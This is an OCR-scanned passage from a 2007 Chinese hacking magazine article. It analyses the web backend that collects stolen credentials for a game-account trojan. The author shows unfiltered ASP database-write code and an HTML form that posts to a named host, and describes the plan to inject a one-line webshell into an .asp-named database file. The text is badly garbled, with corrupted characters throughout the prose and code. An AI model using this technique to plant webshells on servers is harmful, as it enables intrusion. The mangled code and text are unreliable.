《黑客×档案》2007年第7期摘录:绝地反击,唧咕梦幻西游木马的噩梦
-
如发现有乱码,
请直接从这里浏览原文
正文摘录:绝地反击唧咕梦幻西游木马的噩梦终于考完试放假了,天热不想出去,就在家中开始学习asp。虽然以前也曾经学习过,但终究是一些零零散散的知识,上不了台面。难得放假有了时间,我准备从头到尾好好的学习一下。学习asp自然要参看别人写的源码来长长知识,当然,你也不可能让一个初学者去看“动易”、“动网”那些绕来绕去的蝌蚪文般的代码吧,所以我就找了一个很简单的asP系统翻看起来,这个系统就是“唧咕梦幻西游木马06.7.6版”的asp收信系统。不看不知道,一看吓一跳,这次竟然让我找出了唧咕梦幻木马的一个漏洞来11。漏洞分析我们打开“唧咕梦幻西游本马06.7.6版”,点击右下角的“收信文件”来生成一个“asP.exe”自解压文件(图1),解压后就可以得到一套收信系统了。图1先来看看这套系统出现漏洞的先决条件:它的数据库文件是以asP为后缀名的mdb数据库,文件名是“aCcess.asP”。大家应该明白了吧,如果在里面插入一句话木马,那我们就可以直接使用客户端连接上去了。当然了,要想在里面插人一句话木马,首先就要分析一F收信系统中与数据库写人操作相关的asP文件才行。经过几分钟的查找,我确定了“jj.asp”文件就是数据库写入操作文件,其出现漏洞的主要代码如下:广usern日me:reamt(。U8日rn日me,)password=request(”password“serverl=request(。‘server”)ck=reauest(”ckpes8’’)se~ectcaserequest(’’action”)case“saveup”if(username<>””andpassword<>…。andserverl<>…’)thenexec2=”insertintoInfo(username,password.server1.ck)vaIues(’’+username+¨.…+paasword+…,”+servert一.‘{ck一’rconnexecuteexec2tanCy在上边的代码中,前四句是接收从表单中传递过来的username、password、server、ckpass的值并存人变量。接收完这些值后它使用了一个“setectcase”的判断语句,判断表单中action的值,如果action的值是“saveuP”,则再使用一个if语句来判断username、Password、Server的值是否为空,如果不为空就向数据库写人数据。我们可以清楚的看到,从数据的获取到数据的数据库写入,收信系统除了进行简单的空值判断外就根本没对提交的数据进行过滤,这样我们就可以向数据库文件“access.asP”插入一句话木马了。2.编写提交页面由于向“jj.asp”文件提交数据的是InN.exe文件,本人水平太菜,没能力去反汇编它的提交数据,所以就自己试着做了一个htm提交的网页,几经周折最后终于做好了,全部的html代码如下:广<html><title>数据握~</title><body><formname=“forml”style=”backErOund一00lor=#000000“Bction=”http://wwwheartkey.cn/jj.asp”>(tablebgcolor=。#000030”style=。。colorI#00FF00”><tr><td>舟username字段撼交的值t</td>(td>(inputtype=”text”name~”usemame”></td)</tr><tr><td>向oassword字段提交的值:</td><td><inputtype=”text’。name=”password0></td></tr><tr><td>向server字段提交的值:</td><td)~inputtype=”text“ndme=。‘server’’></td></tr><tr><td>向CKPaS8字段撵交的值:</td><td><inputtype=’。text”name=’。ckpass“></td></tr><tr><td>触发saveup事件的单’衄妞,</td><td><in~outtype=”radio。‘name=’’action’value=”saveua”checked=0’checked。></td>(/tr><tr><td><inputtype=”reset’’name=”reset”value=”重量”></td>
阅读此文(图):
在线翻阅